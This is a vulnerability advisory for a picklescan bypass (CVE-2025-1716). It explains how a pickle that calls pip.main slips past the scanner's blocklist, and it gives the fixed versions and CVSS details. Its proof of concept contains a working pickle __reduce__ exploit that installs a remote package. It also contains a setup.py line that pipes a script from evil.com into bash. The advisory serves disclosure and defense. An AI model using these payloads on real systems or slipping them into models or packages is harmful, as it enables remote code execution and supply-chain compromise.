GHSA-655q-fx9r-782v CVE-2025-1716 CVE-2025-1889 GHSA-769v-p64c-89pr PYSEC-2025-18 PYSEC-2025-19
Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 1.72%
- Chance of exploitation in the next 30 days. Higher than 77.50% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-184 Incomplete List of Disallowed Inputs
- Fix
0.0.22- Upgrade picklescan to this version or later
Description
CVE-2025-1716
Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
- During unpickling, it calls pip.main() to install a malicious PyPI package.
- The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
- Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.
Example malicious setup.py
from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup(
name="rsac-demo-package",
version="0.1",
packages=["rsac_demo"],
install_requires=[],
)
Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
import pickle
import pip
class Exploit:
def __reduce__(self):
return pip.main, (
['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
'--exists-action', 'i', '--isolated'],
)
malicious_pickle = pickle.dumps(Exploit())
# Simulating deserialization attack
pickle.loads(malicious_pickle)
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes
Add "pip": "*" to the list of unsafe globals
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.22 |
0.0.22 |
| picklescan | < 0.0.21 |
0.0.21 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.22
- pip
pip install --upgrade "picklescan>=0.0.22"- poetry
poetry add "picklescan>=0.0.22"- uv
uv add "picklescan>=0.0.22"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
References
Advisories
Packages
Other links
- github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v
- github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d
- github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-18.yaml
- sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716
- github.com/mmaitre314/picklescan/security/advisories/GHSA-769v-p64c-89pr
- github.com/mmaitre314/picklescan/commit/baf03faf88fece56a89534d12ce048e5ee36e50e
- sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889
- sonatype.com/security-advisories/cve-2025-1716
- sonatype.com/security-advisories/cve-2025-1889
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
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